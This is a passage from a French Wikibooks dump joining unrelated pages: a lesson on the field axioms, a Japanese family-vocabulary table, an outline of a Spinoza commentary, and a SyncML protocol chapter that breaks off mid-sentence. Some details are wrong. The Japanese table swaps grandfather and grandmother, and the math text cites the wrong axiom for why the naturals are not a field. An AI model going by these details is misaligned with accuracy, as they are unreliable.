''b'', et ''c'' réels en excluant zéro :'''M1:''' ''ab'' (''clotûre'') :'''M2:''' Il existe un élément, 1, tel que 1''a'' = ''a'' pour tout ''a'' (existence de un - une ''identité'') :'''M3:''' Pour chaque ''a'' il existe a ''b'' tel que ''ab'' = 1 :'''M4:''' (''ab'')''c'' = ''a''(''bc'') (associativité de la multiplication) :'''M5:''' ''ab'' = ''ba'' (commutativité de la multiplication) :'''D1:''' ''a''(''b'' + ''c'') = ''ab'' + ''ac'' (distributivité de la multiplication par rapport à l'addition) Ceux-ci sont les axiomes ''minimums'' que nous supposons vrai dans ce système. Ils sont ''minimum'' dans le sens que chaque chose qui est vraie dans ce système de nombre peut être dérivé à partir de ces axiomes ! Considérons l'identité vraie suivante :(x + y)z = xz + yz qui n'est pas inclue dans les axiomes, mais que nous pouvons démontrer en les utilisant. :<math> \begin{matrix} (x + y)z & = & z(x + y) \ \mbox{par M5}\\ & = & zx + zy \ \mbox{par D1}\\ & = & xz + yz \ \mbox{par M5}\\ \end{matrix} </math> Avant d'aller plus loin, nous noterons que les nombres réels ne sont pas les seuls nombres qui satisfont ces axiomes ! Par exemple, les nombres rationnels les satisfont aussi. Ceci conduit au concept abstrait de ''corps''. En termes simples, un ''corps'' est un ensemble de nombres qui satisfait à tous ces axiomes. Définissons un ''corps'' avec plus d'attention : <blockquote style="padding: 1em; border: 2px dotted purple;"> Un ensemble de nombres, ''F'', est un ''corps'' s'il admet les opérations + et x tel que : : Pour ''a'', ''b'', et ''c'' issus de ''F'' :'''A1:''' ''a''+''b'' est aussi dans ''F'' (''cloture'') :'''A2:''' Il existe 0, tel que 0 + ''a'' = ''a'' pour tout ''a'' (existence de zéro - une ''identité'') :'''A3:''' Pour chaque ''a'', il existe ''b'' (écrit -''a''), tel que a + b = 0 (existence d'un opposé) :'''A4:''' (''a'' + ''b'') + ''c'' = ''a'' + (''b'' + ''c'') (associativité de l'addition) :'''A5:''' ''a'' + ''b'' = ''b'' + ''a'' (commutativité de l'addition) : Pour ''a'', ''b'', et ''c'' issus de ''F'' sans zéro (quelquefois écrit ''F''<sup>*</sup>) :'''M1:''' ''ab'' (''cloture'') :'''M2:''' Il existe un élément, 1, tel que 1''a'' = ''a'' pour tout ''a'' (existence of one - an ''identity'') :'''M3:''' Pour chaque ''a'' il existe un ''b'' tel que ''ab'' = 1 (inverses) :'''M4:''' (''ab'')''c'' = ''a''(''bc'') (associativité de la multiplication) :'''M5:''' ''ab'' = ''ba'' (commutativité de la multiplication) :'''D1:''' ''a''(''b'' + ''c'') = ''ab'' + ''ac'' (distributivité) </blockquote> Maintenant, pour '''M3''', ''b'' doit être différent de zéro, puisque 1/0 n'a pas de sens. Néanmoins pour les axiomes ''M'', nous avons exclu zéro de toute façon. Pour les étudiants intéressés, les concepts de ''cloture'', ''identité'', avoir des ''inverses'' et ''associativité'' d'une opération et un ensemble sont connus comme un [[Algèbre abstraite:groupes|groupe]]. Si ''F'' est un groupe muni de l'addition et ''F''<sup>*</sup> est un groupe muni de la multiplication, plus le concept de la distributivité, ''F'' est un corps. Les axiomes ci-dessus établissent simplement ce fait. Noter que l'ensemble des nombres naturels n'est pas un corps, comme '''M5''' n'est en général pas satisfait, i.e. chaque nombre naturel n'a pas d'inverse qui est aussi un nombre naturel. Noter aussi, s'il vous plaît, que (-''a'') représente l'inverse de ''a'', cela ne signifie pas que (-a) = (-1)(a), bien que nous puissions démontrer qu'ils sont équivalent. '''Exemple 1''' Démontrer en utilisant seulement les axiomes que 0 = -0, où -0 est l'opposé de 0. '''Solution 1''' :0 = 0 + (-0) par '''A3 :''' existence de l'inverse :0 = (-0) par '''A2 :''' 0 + a = a '''Exemple 2''' Soit F, un corps et ''a'' un élément de F. Démontrer en n'utilisant rien de plus que les axiomes que 0''a'' = 0 pour tout ''a''. '''Solution''' :0 = 0a + (-0a) par '''A3''' existence de l'inverse :0 = (0 + 0)a + (-0a) par l'exemple 1 :0 = (0a + 0a) + (-0a) par distributivité et commutativité de la multiplication :0 = 0a + (0a + (-0a)) par associativité de l'addition :0 = 0a + 0 par '''A3''' :0 = 0a par '''A2'''. '''D'une manière différente''' :0''a'' = ''a''(''x''+-''x'') pour un certain ''x'' de ''F'', par '''A3''' :: = ''ax''+-''ax'', par '''D1''' :: = ''w''+-''w'', où ''w''=''ax'', par '''M1''' :: = 0, par '''A3''. '''Exemple 3''' Démontrer que (-''a'') = (-1)''a''. '''Solution 3''' :(-a) = (-a) + 0 :(-a) = (-a) + 0a par l'exemple 2 :(-a) = (-a) + (1 + (-1))a :(-a) = (-a) + (1a + (-1)a) :(-a) = (-a) + (a + (-1)a) :(-a) = ((-a) + a) + (-1)a :(-a) = 0 + (-1)a :(-a) = (-1)a On peut s'étonner pourquoi nous avons besoin de démontrer de telles choses évidentes (évidentes depuis le primaire). Mais l'idée n'est pas de démontrer qu'elles sont vraies, mais de pratiquer l'inférence, comment joindre logiquement des arguments pour démontrer un point. C'est une expérience vitale en mathématiques. === Exercices === 1. Expliquer (ou démontrer) pourquoi 1 &ne; 0 dans tout corps 2. Démontrer en utilisant seulement les axiomes si u + v = u + w alors v = w (soustraire u à partir des deux cotés n'est pas accepté comme solution) 3. Démontrer que si xy = 0 alors soit x = 0 ou y = 0 4. Dans F<sub>-</sub>, l'opération + est définie comme la différence de deux nombres et l'opération x est définie comme le rapport de deux nombres. C.a.d. 1 + 2 = -1, 5 + 3 = 2 et 9 x 3 = 3, 5 x 2 = 2,5. F<sub>-</sub> est-il un corps ? 5. Expliquer pourquoi Z<sub>6</sub> n'est pas un corps. == Ensemble de problèmes == 1. Démontrer que :<math> \frac{1}{\sqrt 1} + \frac{1}{\sqrt 2} + ... + \frac{1}{\sqrt n }\ge \sqrt n </math> pour <math>n\ge 1</math> 2. Démontrer par induction que <math>2n^3 - 3n^2 + n + 31 \ge 0 </math> 3. Démontrer par induction :<math> {n \choose 0} + {n\choose 1} + {n\choose 2} + ... + {n\choose n} = 2^n</math> où :<math>{n \choose m} = \frac{n!}{m!(n-m)!} </math> et <math>n! = n\cdot (n-1)\cdot (n-2)\cdot ... \cdot 2\cdot 1</math> si <math>n\ge 1 \land 0! = 1</math>. (<math>\land = </math> Et logique). 4. Démontrer par induction <math> {n \choose 0} + 2{n\choose 1} + 2^2{n\choose 2} + ... + 2^n{n\choose n} = 3^n</math> 5. Démontrer que si x et y sont des entiers et n un entier impair alors <math>\frac{x^n + y^n}{x + y} </math> est un entier. ''Beaucoup de questions dans d'autres chapitres vous demandent de démontrer des choses. Assurez-vous d'essayer les techniques exposées dans ce chapitre.'' Aides de jeu vidéo 3773 15255 2005-06-01T00:33:43Z Bayo 329 Aides de jeu vidéo déplacé vers Solution, truc et astuce de jeu vidéo #REDIRECT [[Solution, truc et astuce de jeu vidéo]] Image:00%.png 3776 15258 2005-06-01T18:37:37Z Skipi 246 +en [[en:Image:00%.png]] Image issue du wikibooks anglais Image:Fsf.jpg 3777 15259 2005-06-01T18:20:42Z Frederick 306 Image pour le manuel "faire son film" Image pour le manuel "faire son film" Image:Devcine.jpg 3778 15260 2005-06-01T18:27:48Z Frederick 306 WikiBooks : faire son film WikiBooks : faire son film Japonais:Famille 3780 27067 2005-12-19T11:01:50Z 58.70.32.184 Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Père (mon) | <big>[[wiktionary:fr:父|父]]</big> | ちち | chichi |- | Mère (ma) | <big>[[wiktionary:fr:母|母]]</big> | はは | haha |- | Père(de quelqu'un) | --- | おとうさん | otōsan |- | Mère(de quelqu'un) | --- | おかあさん | okāsan |- | Tante | --- | おばさん | obasan |- | Oncle | --- | おじさん | ojisan |- | Grand-père | --- | おばあさん | obāsan |- | Grand-mère | --- | おじいさん | ojīsan |- | Mari, époux | --- | おっと | otto |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary_Family]] Commentaire de l'Éthique 3781 15263 2005-06-02T19:59:33Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>'''L'Éthique'''</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''[[Baruch Spinoza]]''' | width="33%" align="right"|[[L'Éthique - Introduction|Introduction]] |} *[[L'Éthique - Introduction|Introduction]] *[[L'Éthique - Première partie : De Dieu|Première partie : De Dieu]] *[[L'Éthique - Deuxième partie : De l'origine et de la nature de l'esprit|Deuxième partie : De l'origine et de la nature de l'esprit]] *[[L'Éthique - Troisième partie : De l'origine et de la nature des sentiments|Troisième partie : De l'origine et de la nature des sentiments]] *[[L'Éthique - Quatrième partie : De la servitude humaine ou des forces des sentiments|Quatrième partie : De la servitude humaine ou des forces des sentiments]] *[[L'Éthique - Cinquième partie : De la puissance de l'entendement ou de la liberté humaine|Cinquième partie : De la puissance de l'entendement ou de la liberté humaine]] '''Éditions de l'Éthique''' *[[Wikisource:Ethica|Ethica]] *[[Wikisource:L’Éthique|L’Éthique]] *[[Wikisource:L’Éthique (bilingue)|L’Éthique (bilingue)]] == Sur Spinoza == '''Biographie''' *[[Wikisource:Vie de Benoît de Spinoza, tirée des écrits de ce fameux philosophe et du témoignage de plusieurs personnes dignes de foi, qui l’ont connu particulièrement|Vie de Benoît de Spinoza, tirée des écrits de ce fameux philosophe et du témoignage de plusieurs personnes dignes de foi, qui l’ont connu particulièrement]], Jean Colerus *[[Wikisource:Vie de Spinoza|Vie de Spinoza]], Lucas '''Études''' *[[Wikisource:La Valeur morale de la joie d'après Spinoza|La Valeur morale de la joie d'après Spinoza]], [[Wikisource:Auteur:Alain|Alain]] *[[Wikisource:Histoire de la philosophie moderne - Benoît Spinoza|Benoît Spinoza]], [[Wikisource:Auteur:Harald Höffding|Harald Höffding]] '''Liens externes''' *[http://www.spinozaetnous.org/document-d36.html Bibliographie sur le site Spinoza et Nous] *[http://www.cerphi.net/public/ttp1.htm Introduction au TTP] *[http://www.webdeleuze.com/php/liste_texte.php?groupe=Spinoza Cours de Deleuze] *[http://www.yrub.com/philo/spinoza.htm Diverses études sur le site Atrium] *[http://crdp.ac-lille.fr/philo/confmac.htm La vie des hommes libres - Conférence de Pierre Macherey] *[http://fabwik.free.fr/ Le contentement sur le chemin de la liberté - L'évolution de l'affect d'acquiescentia dans l'Ethique par Fabien Wiktor] *[http://martinetl.free.fr/spinoza.htm Le mode indicatif dans L'Ethique de Spinoza] [[catégorie:Commentaire philosophique]] L'Éthique - Première partie : De Dieu 3784 15266 2005-06-02T18:59:35Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Commentaire de l'Éthique]]</center> |- | width="33%"|[[L'Éthique - Introduction|Introduction]] | width="34%" align="center"|'''Baruch Spinoza''' | width="33%" align="right"|[[L'Éthique - Deuxième partie : De l'origine et de la nature de l'esprit|Deuxième partie]]> |} Plan de la première partie : *[[L’Éthique - Partie I, Définitions|Définitions]] *[[L’Éthique - Partie I, Axiomes|Axiomes]] *[[L’Éthique - Partie I, Propositions I à VIII|Propositions I à VIII : la substance]] *[[L’Éthique - Partie I, Propositions IX à XI|Propositions IX à XI : Dieu]] *[[L’Éthique - Partie I, Propositions XII à XV|Propositions XII à XV : le panthéisme]] *[[L’Éthique - Partie I, Propositions XVI à XX|Propositions XVI à XX : comment Dieu agit]] *[[L’Éthique - Partie I, Propositions XXI à XXVI|Propositions XXI à XXVI : modes infinis et finis de Dieu]] *[[L’Éthique - Partie I, Propositions XXVII à XXX|Propositions XXVII à XXX : comment existent les modes finis]] *[[L’Éthique - Partie I, Propositions XXXI à XXXVI|Propositions XXXI à XXXVI : le déterminisme universel]] L'Éthique - Deuxième partie : De l'origine et de la nature de l'esprit 3786 15268 2005-06-02T21:40:10Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Commentaire de l'Éthique]]</center> |- | width="33%"|<[[L'Éthique - Première partie : De Dieu|Première partie]] | width="34%" align="center"|'''Baruch Spinoza''' | width="33%" align="right"|[[L'Éthique - Troisième partie : De l'origine et de la nature des sentiments|Troisième partie]]> |} '''Thème de la deuxième partie''' La deuxième partie de l'Ethique traite des effets de l'action de la substance, comme Spinoza l'indique en préambule : ''Je passe maintenant à l’explication de cet ordre de choses qui ont dû résulter nécessairement de l’essence de Dieu [...]'' Mais il s'agit de n'en traiter qu'une partie. Laquelle, et pourquoi ? Le titre de cette partie l'indique : ''De natura et origine mentis'' : Spinoza emploie le mot ''mens'', que l'on peut traduire par esprit, mais aussi par âme. Spinoza traite donc de la pensée, de la réalité mentale. Ce qui est cherché à propos de l'esprit c'est son origine et sa nature, ce qui permet de diviser cette partie en deux groupes de propositions. Cette deuxième partie nous fait avancer un peu plus vers le but de Spinoza : la béatitude qui n'est pas atteinte par n'importe qu'elle connaisance ; c'est pourquoi il nous faut expliquer... ''celles-là seulement qui peuvent nous mener, comme par la main à la connaissance de l’âme humaine et de son souverain bonheur.'' '''Plan de la deuxième partie''' *[[L’Éthique - Partie II, Définitions|Définitions]] *[[L’Éthique - Partie II, Axiomes|Axiomes]] *[[L’Éthique - Partie II, L'âme|L'âme]] *[[L’Éthique - Partie II, La connaissance|La connaissance]] '''Texte de la deuxième partie''' *[[Wikisource:L’Éthique - Partie II|L’Éthique - Partie II]] L’Éthique - Partie II, Définitions 3787 15269 2005-06-02T18:19:20Z Marc 66 /* Définition 2 */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Commentaire de l'Éthique]]</center> |- | width="33%"|<[[L'Éthique - Deuxième partie : De l'origine et de la nature de l'esprit|Deuxième partie]] | width="34%" align="center"|'''Baruch Spinoza''' | width="33%" align="right"|[[L’Éthique - Partie II, Axiomes|Axiomes]]> |} La deuxième partie de l'Ethique commence par sept définitions qui ont des formes semblables à celles de la première partie : ''I. J’entends par corps'', etc. ''V. La durée est'' etc. == Définition 1 == ''I. J’entends par corps, un mode qui exprime d’une certaine façon déterminée l’essence de Dieu, en tant qu’on la considère comme chose étendue (voyez le Coroll. de la Propos. 25 part. 1).'' ''I. Per corpus intelligo modum qui Dei essentiam quatenus ut res extensa consideratur, certo et determinato modo exprimit; vide corollarium propositionis 25 partis I.'' === Commentaire === Il s'agit d'une définition du corps. Un corps est en premier lieu une chose particulière telle que définie dans le corollaire de la proposition 25 de la première partie : ''Corollaire : Les choses particulières ne sont rien de plus que les affections des attributs de Dieu, c’est-à-dire les modes par lesquels les attributs de Dieu s’expriment d’une façon déterminée. Cela est évident par la Propos. 15 et la Déf. 5.'' Les corps, en tant que choses particulières, sont en second lieu des déterminations de l'étendue, c'est-à-dire d'un seul et même attribut : Lemme 2 : ''Tous les corps ont quelque chose de commun.'' ''Démonstration : Ils ont d’abord cela de commun qu’ils enveloppent tous le concept d’un seul et même attribut (par la Déf. 1, part. 2)'' [...] == Définition 2 == ''II. Ce qui appartient à l’essence d’une chose, c’est ce dont l’existence emporte celle de la chose, et la non-existence sa non-existence ; en d’autres termes, ce qui est tel que la chose ne peut exister sans lui, ni lui sans la chose.'' ''II. Ad essentiam alicujus rei id pertinere dico quo dato res necessario ponitur et quo sublato res necessario tollitur; vel id sine quo res et vice versa id quod sine re nec esse nec concipi potest.'' === Commentaire === Cette définition porte sur l'essence des choses. == Définition 3 == == Définition 4 == == Définition 5 == == Définition 6 == == Définition 7 == Programmation XML/SyncML 3788 41537 2006-05-03T21:49:43Z Tite 1464 /* Syncs */ {{Programmation XML}} <b>Objectifs</b> Après avoir lu ce chapitre, vous serez capable de * Comprendre les bases de SyncML et la syntaxe générale. * Comprendre comment et pourquoi SyncML est implementé. * Trouver rapidement et utiliser les spécifications techniques de SyncML. =Introduction= Les terminaux mobiles comme les PDA, les pagers les téléphones mobiles et les ordinateurs portable ne sont par nature pas connectés en permanence à un réseau. Cependant, ces appareils contiennent des applications qui ont besoin d'informations provenant d'un réseau afin d'être utilisables. La plupart des PDA et mobiles possèdent des applications comme des calendriers, des listes de taches, des répertoires pour stocker des informations qui deviennent moins utiles à partir du moment où elles sont statiques, uniquement disponibles sur l'appareil. Par exemple, des copies statiques d'informations seront différentes de l'original dès qu'une modification est apportée d'un côté ou de l'autre. La synchronisation offre la possibilité à un terminal de se connecter à un réseau afin de mettre à jour à la fois l'information de l'appareil et l'information du réseau pour que les deux soient identiques et à jour. Devant la prolifération d'appareils mobiles et de protocoles propriétaires ainsi que la demande croissante d'accès à de l'information en situation de mobilité, les sociétés leader sur le domaine ont compris l'intérêt de créer un langage standard et universel décrivant les actions de synchronisation entre les terminaux et les applications. Elles ont formé un consorsium pour sponsoriser cette initiative et pour créer ce langage. Actuellement, le consorsium SyncML a été adopté et incorporé à l'[http://www.openmobilealliance.org Open Mobile Alliance], un regroupement de plus de 300 sociétés qui supporte plusieurs projets collaboratifs portant sur les technologies et les protocoles. =Qu'est-ce que SyncML ?= SyncML ou ''Synchronization Markup Language'' est le protocol standard basé sur XML de synchronisation de données au travers d'une multitude de réseaux, de plates-formes et de terminaux. SyncML a été démarré en tant qu'initiative en 2000 par de grandes sociétés comme Ericsson, IBM, Palm Inc., Lotus, Matsushita Ltd. (Panasonic), Motorola, Nokia, Openwave, Starfish Software, Psion et Symbian. Leur but était la création d'un langage universel à partir de la myriade de protocoles de synchronisation propriétaires utilisés par les appareils mobiles et de fournir un ensemble complet de fonctionnalités de synchronisation pour les futurs terminaux. Le consorsium a sorti la version 1.0 en décembre 2000. Ils ont implémenté des nouvelles fonctionnalités et résolu les problèmes découverts avec cette version, finalisant le protocole avec la version 1.1 en février 2002. Le protocole SyncML a été conçu en gardant ces objectifs à l'esprit : * En tant que langage commun, n'importe quel terminal doit être capable de se synchroniser avec n'importe quel service (données du réseau). * N'importe quel service supportant SyncML doit être capable de se synchroniser avec n'importe quel teminal utilisant SyncML. * Le protocole doit prendre en compte les limitations des terminaux mobiles, en particulier les capacités de stockage. * Il doit supporter un large panel de protocoles comme HTTP, SMTP, Bluetooth et bien plus. * Il doit envoyer des mêmes commandes de synchronisation à tous les terminaux. * Il est construit à partir des technologies web existantes, en particulier XML. * Il doit supporter des communications asynchrones et la gestion d'erreurs en raison de la latence d'Internet. SyncML comprend des commandes client et serveur définies par des DTD... =Principes de SyncML= ==Vocabulaire== Commençons avec un peu de vocabulaire : * Client - le terminal mobile, son application et sa base de données locale. * Serveur - un système distant communiquant avec la base de données du système ou de l'application. * Modifications - les données dans les champs d'une base de données qui sont modifiées. * Synchronisation - le client et le serveur échangent des messages SyncML avec des commandes. * Package - Balises XML conformes à la DTD de SyncML décrivant les requêtes ou actions qui doivent être effectuées par un client ou un serveur SyncML. Un package est un ensemble d'actions à effectuer. * Message - La plus petite unité de balise SyncML. Les grands packages sont découpés en messages séparés. * Mapping - Utilisation d'un identifiant intermédiaire pour lier deux informations. Exemple: Disons que 'vert' c'est '5', et '5' c'est bien. Qu'est-ce qui est bien ? Si vous répondez 'vert', vous êtes tombé juste. vous avez réalisé un mapping ! Abbréviations : {| width="100%" border="1" cellspacing="0" cellpadding="2" |- | IMEI || International Mobile Equipment Identifier - numéro d'identification des terminaux mobiles |- | GUID || Global Unique Identifier - identifiant global unique |- | LUID || Local Unique Identifier - identifiant local unique |} ==Messages et Packages== Les messages SyncML sont des requêtes d'un client ou d'un serveur pour demander l'exécution d'une action. Cette action peut être la synchronisation de données, des vérifications sur les données, la mise à jour d'un état ou la gestion de n'importe quelle erreur avec ces actions. Les messages sont regroupés en packages comme un genre de liste de tâches. Les messages sont une liste de requêtes et peuvent être traités dans le désordre si suffisamment d'informations sont fournies afin d'identifier le package auquel le message appartient. SyncML est conçu pour supporter les erreurs et les messages perdus. Si un message est perdu, un client ou un serveur SyncML saura qu'il y a un problème puisque le mapping ne peut pas être fait. Il va alors effectuer une requête pour demander que l'information soit ré-émise. Une fois les données reçues, la mise à jour des informations peut être faite. ==Structure d'un message SyncML== Comme SOAP, il y a deux parties dans un message SyncML, une en-tête <SyncHdr> et un corps <SyncBody>. L'en-tête contient des meta-informations sur la requête comme la base de données cible <Target> et la base de données source <Source>, les informations d'authentification <Cred>, l'identifiant de session <SessionID>, l'identifiant du message <MsgID>, et la déclaration de la version de SyncML <VerDTD>. Le corps contient la requête actuelle, les alertes et les données. ==Adressage== L'adressage est réalisé au travers des balises <source> et <DocURI>. Un serveur aura une URI du genre <nowiki>http://www.chris.syncml.org/sync</nowiki> et le terminal mobile client aura un numéro d'identification IMEA comme ceci 30400495959596904. ==Mapping ou Correspondance== SyncML est basé sur l'idée que les clients et les serveurs peuvent avoir leur propre méthode pour faire correspondre les informations dans leur base de données. Aussi, les clients et les serveurs doivent avoir leur propre ensemble d'identifiants uniques. * Les identifiants locaux uniques (LUID - Locally Unique Identifiers) sont des nombres assignés par le client à une donnée dans la base de données locale (comme un champ ou une ligne). Ce sont des nombres non réutilisables assignés à ces objets par le client SyncML. * Les identifiants globaux uniques (GUID - Globally Unique Identifiers) sont des nombres assignés à une donnée utilisés dans une base de données distante. Cet identifiant est assigné par le serveur. Les LUID et GUID n'ont besoin d'être uniques que s'ils sont utilisés dans une table entre deux entités communiquantes. Ces nombres sont temporaires et utilisés pour faire une correspondance et n'existent que pour la durée des transactions entre le client et le serveur. Le serveur va créer une table de correspondance pour lier les LUID et GUID ensemble. <small>Données côté client</small> <table width="50%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki> LUID ---- 5 </nowiki></pre></td><td><pre><nowiki> Data ---- Green </nowiki></pre></td></tr></table> <small>Données côté serveur</small> <table width="50%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki> GUID ---- 5050505 </nowiki></pre></td><td><pre><nowiki> Data ---- Green </nowiki></pre></td></tr></table> <small>Correspondance sur le serveur</small> <table width="50%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki> GUID ---- 5050505 </nowiki></pre></td><td><pre><nowiki> LUID ---- 5 </nowiki></pre></td></tr></table> == Change Logs == Le serveur et le client gardent une trace des modifications effectuées sur leurs bases de données en utilisant des "change logs". SyncML ne définit pas les change logs, mais requiert que les modifications et corrections soient négociées entre client et serveur par l'intermédiaire de messages. A l'aide des change logs, le client et le serveur peuvent déterminer quels champs doivent être mis à jour. SyncML ne décrit pas l'implémentation de la détection des modifications au niveau applicatif. == Sync Anchors == During Synchronization, the Client and Server need to know which fields to update. If a client/server application is checking the fields prior to updating/modifying them, how then does the client/server keep track of the position of current field in the database? The answer is "by using Sync Anchors". There are two kinds of Anchors : Last and Next. The 'Last' anchor describes which updates occured during the last synchronization event. The 'Next' anchor describes the current and future synchronization request. These anchors describe the events from the standpoint of the sending device. Anchors are sent back and forth from client and server to keep track of what is happening to the database fields and what's going on in overall through the lifetime of the sync operation. By coordinating Sync Anchors and change logs with the type of Sync that is requested, the server application can determine and track (with change logs) which information is the most up-to-date. For example, it is possible to overwrite 'newer' information- that is information for which there is the most recent time-stamp in the change log- with older information. This could be done by choosing a sync in which the client tells the server to overwrite it's information with client data. This is called a 'refresh sync from client'. The types of syncs are described below. ==Synchronisations (Syncs)== Dans sa version 1.1, le langage SyncML définit 7 types de synchronisation. La section ci-dessous définit ces différents types: # '''Two-way Sync (Synchronisation bi-directionnelle)''' - Le client et le serveur s'échangent des informations relatives au données modifiées. Le client transmet les modifications en premier. # '''Slow sync (Synchronisation lente)''' - Une synchronisation à double sens dans laquelle tous les champs de la base de données sont vérifiés par une méthode basique champs-à-champs. Ce type synchronisation est utilisée lorsqu'il y a une forte latence entre le client et le serveur. # '''One-way sync, client only (Synchronisation uni-directionnelle, Client uniquement)''' - Le client transmet ses modifications en premier. Le serveur les accepte puis met à jour les données sans transmettre en retour ses modifications. # '''Refresh sync from client (Synchronisation de mise à jour initiée par le client)''' - Le client transmet sa base de données entièrement au serveur. Le serveur n'effectue pas de synchronisation. Parcontre, la base de données cible est tout simplement remplacée par celle transmise par le client. # '''One-way sync, server only (Synchronisation uni-directionnelle, Serveur uniquement)''' - Le serveur transmet ses modifications en premier. Les client les accepte puis met à jour ses données locales sans transmettre en retour ses modifications. # '''Refresh sync from server (Synchronisation de mise à jour initiée par le serveur)''' - Le serveur transmet l'intégralité des informations de sa base de données. La base de données du client est entièrement remplacée. # '''Server alerted sync''' - Le serveur télé-commande au client d'initier un des modes de synchronisation présentés ci-dessus. De cette façon, le client est controllé à distance par le serveur. ==Sync Initiation== Sync Initiation is the process the client and server must go through prior to an actual Synchronization. The first step is for the client and server to speak the same language, exchanging and revealing each other's capabilities (as defined by device, as in amount of memory, and protocol as defined by DTD). The second step is identification of the databases to be synchronized. Next the two must decide on the type of synchronization. The third and final step is authentication. Once this step is completed successfully, the synchronization activities can begin. ==Authentication== The SyncML server can send the client a message containing the <Chal> tag in order to represent an authentication challenge to the information the client is attempting to access. The client must then respond, giving the username and password within the <Cred> tag. SyncML uses MD5 digest access authentication. The Client and Server exchange credentials during the authentication process, returning error codes if the process breaks down at some point. The <Cred> tag is used in the <SyncHdr> for holding the credentials to be used for authentication. =Common SyncML implementations= Nokia was the first company to make a SyncML-enabled phone. It synchronized the calendar database on the phone. SyncML can sychronize to-do lists, calendars, address books, phone-books, pretty much anything an organizer can do. SyncML is capable of much more. It would be appropriate to use SyncML any time there are two disparate, remote applications which need to share the same data. =SyncML Syntax= ==SyncML Example== <small>Abbreviated SyncML example</small> <table width="100%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 </nowiki></pre></td><td><pre><nowiki><SyncML> <SyncHdr> <VerDTD>1.1</VerDTD> <VerProto>SyncML/1.1</VerProto> <SessionID>104050403</SessionID> <MsgID>5</MsgID> <Cred>...</Cred> </SyncHdr> <SyncBody> <Status>...</Status> <Sync> <Target>target database URI</Target> <Source>source database URI</Source> <Add>datafield and data</Add> <Replace>an existing data field with some data</Replace> </Sync> </SyncBody> </SyncML></nowiki></pre> </td></tr></table> Notice lines {1} and {18} start the SyncML file with the root tags. Next, the SyncHdr is defined by lines {2} and {8}. Further, lines {3,4} define the versioning information, line {5} defines the sessionID to distinguish which unique dialogue is occurring between client and server applications, line {6} shows the MsgID to uniquely identify this set of requests (this entire markup) to be performed by the requested application. Also in the syncHeader are credentials, on line {7}. The SyncBody begins on line {9}. In this part of the syncML message, device/application status {10}, target/source URIs {12,13}, and requested actions such as the sync itself between lines {11,16}, Add and Replace {14,15} commands are given. ==WBXML and SyncML== WAP Binary XML (WBXML) is a form of XML whereby the XML tags are abbreviated in order to shorten the markup for transmission to mobile devices, which commonly have bandwidth and memory limitations. The XML tags are encoded into a binary shorthand to save space. Let's take a look at an example so that this will make more sense. The following is WBXML binary code depicting a SyncML message. Notice in the first line there is a the document type definition, represented here in hexidecimal tokens. Can you see what happens to the following string? "//SYNCML//DTD SYNCML 1.1//EN" [[Image:xml_wbxml.png|wbxml]] Immediately following this string are the characters '6D 6C 71'. Each of these represent a SyncML tag. <small>wbxml abbreviations</small> <table width="100%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki> 6D 6C 71</nowiki></pre></td><td><pre><nowiki> = "<SyncML>" = "<SyncHdr>" = "<VerDTD>"</nowiki></pre> </td></tr></table> <small>wbxml abbreviations (cont.)</small> <table width="100%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki>C3 03 "1" "." "1" 01</nowiki></pre></td><td><pre><nowiki> = represents the beginning of opaque (xml) data = this represents the length of this opaque data = The characters "1" followed by "." and "1" = represents "</VerDTD>"</nowiki></pre> </td></tr></table> tells the SyncML processor that this is the beginning of opaque (xml) data this represents the length of this opaque data The characters "1" followed by "." and "1" represents "</VerDTD>" All together this WBXML code snippet, <i>6D6C71C303"1.1"01</i> represents: <small>SyncML header snippet</small> <table width="100%" border="1" cellspacing="0" cellpadding="2"> <tr> <td style="vertical-align:top;text-align:right;"> <pre><nowiki> 1 2 3 </nowiki></pre></td><td><pre><nowiki> <SyncML> <SyncHdr> <VerDTD>1.1</VerDTD></nowiki></pre> </td></tr></table> So you can see how using WBXML shorthand would be a more compact means of representing XML, saving bandwidth for mobile devices. For more information please refer to Ed Dumbill's articles on syncML with WBXML: *[http://www-106.ibm.com/developerworks/xml/library/x-synchml/index.html Have Data, Will Travel] *[http://www-106.ibm.com/developerworks/xml/library/x-syncml2.html WBXML and SyncML] =Spécifications de SyncML= La meilleure source d'informations sur SyncML c'est le protocole lui-même. Allez voir le site de l'Open Mobile Alliance pour obtenir les spécifications de SyncML. ==Open Mobile Alliance== Téléchargez [http://www.openmobilealliance.org/syncml/technology.html les Spécifications et White Papers SyncML de l'OMA] sur le site de l'[http://www.openmobilealliance.org Open Mobile Alliance]. Ou regardez [http://www.openmobilealliance.org/syncml/downloads.html les articles sur SyncML] sur le site de l'[http://www.openmobilealliance.org Open Mobile Alliance]. =Implémentations de SyncML= Bien que les spécifications de SyncML soient utiles, vous devez toujours implémenter le protocole dans votre application. Il existe quelques boites à outils et implémentations que vous pouvez utiliser pour un démarrage rapide. ==Boite à outils SyncML de référence== l'Open Mobile Alliance a sorti une boite à outils en C pour illustrer SyncML. Vous pouvez l'obtenir 